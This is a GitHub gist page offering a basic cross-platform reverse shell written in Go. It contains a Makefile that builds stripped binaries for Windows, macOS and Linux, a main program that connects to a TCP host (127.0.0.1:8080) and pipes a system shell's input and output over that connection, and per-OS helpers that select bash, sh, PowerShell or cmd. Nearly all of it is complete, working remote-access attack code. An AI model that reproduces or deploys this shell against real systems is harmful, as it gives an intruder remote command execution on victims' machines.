-
-
Save shizonic/82c97012791459581b2ba48289f12ead to your computer and use it in GitHub Desktop.
Basic cross-platform reverse shell in Go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
EXE = shell | |
SRC = . | |
LDFLAGS = -ldflags="-s -w" | |
windows: | |
GOOS=windows go build -o $(EXE)_win.exe $(LDFLAGS) $(SRC) | |
macos: | |
GOOS=darwin go build -o $(EXE)_macos $(LDFLAGS) $(SRC) | |
linux: | |
GOOS=linux go build -o $(EXE)_linux $(LDFLAGS) $(SRC) | |
all: windows macos linux | |
echo "done." | |
clean: | |
rm -f $(EXE)_win.exe $(EXE)_macos $(EXE)_linux |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"log" | |
"net" | |
"os" | |
"os/exec" | |
) | |
const ( | |
// Read buffer | |
readBufSize = 128 | |
) | |
func exists(path string) bool { | |
_, err := os.Stat(path) | |
if err == nil { | |
return true | |
} | |
if os.IsNotExist(err) { | |
return false | |
} | |
return true | |
} | |
// ReverseShell - Execute a reverse shell to host | |
func reverseShell(command string, send chan<- []byte, recv <-chan []byte) { | |
var cmd *exec.Cmd | |
cmd = exec.Command(command) | |
stdin, _ := cmd.StdinPipe() | |
stdout, _ := cmd.StdoutPipe() | |
stderr, _ := cmd.StderrPipe() | |
go func() { | |
for { | |
select { | |
case incoming := <-recv: | |
log.Printf("[*] shell stdin write: %v", incoming) | |
stdin.Write(incoming) | |
} | |
} | |
}() | |
go func() { | |
for { | |
buf := make([]byte, readBufSize) | |
stderr.Read(buf) | |
log.Printf("[*] shell stderr read: %v", buf) | |
send <- buf | |
} | |
}() | |
cmd.Start() | |
for { | |
buf := make([]byte, readBufSize) | |
stdout.Read(buf) | |
log.Printf("[*] shell stdout read: %v", buf) | |
send <- buf | |
} | |
} | |
func main() { | |
conn, _ := net.Dial("tcp", "127.0.0.1:8080") | |
shellPath := GetSystemShell() | |
send := make(chan []byte) | |
recv := make(chan []byte) | |
go reverseShell(shellPath, send, recv) | |
go func() { | |
for { | |
data := make([]byte, readBufSize) | |
conn.Read(data) | |
recv <- data | |
} | |
}() | |
for { | |
select { | |
case outgoing := <-send: | |
conn.Write(outgoing) | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
const ( | |
// Shell constants | |
bash = "/bin/bash" | |
sh = "/bin/sh" | |
) | |
func GetSystemShell() string { | |
if exists(bash) { | |
return bash | |
} | |
return sh | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
const ( | |
// Shell constants | |
bash = "/bin/bash" | |
sh = "/bin/sh" | |
) | |
func GetSystemShell() string { | |
if exists(bash) { | |
return bash | |
} | |
return sh | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
const ( | |
// Shell constants | |
commandPrompt = "C:\\Windows\\System32\\cmd.exe" | |
powerShell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" | |
) | |
func GetSystemShell() string { | |
if exists(powerShell) { | |
return powerShell | |
} | |
return commandPrompt | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment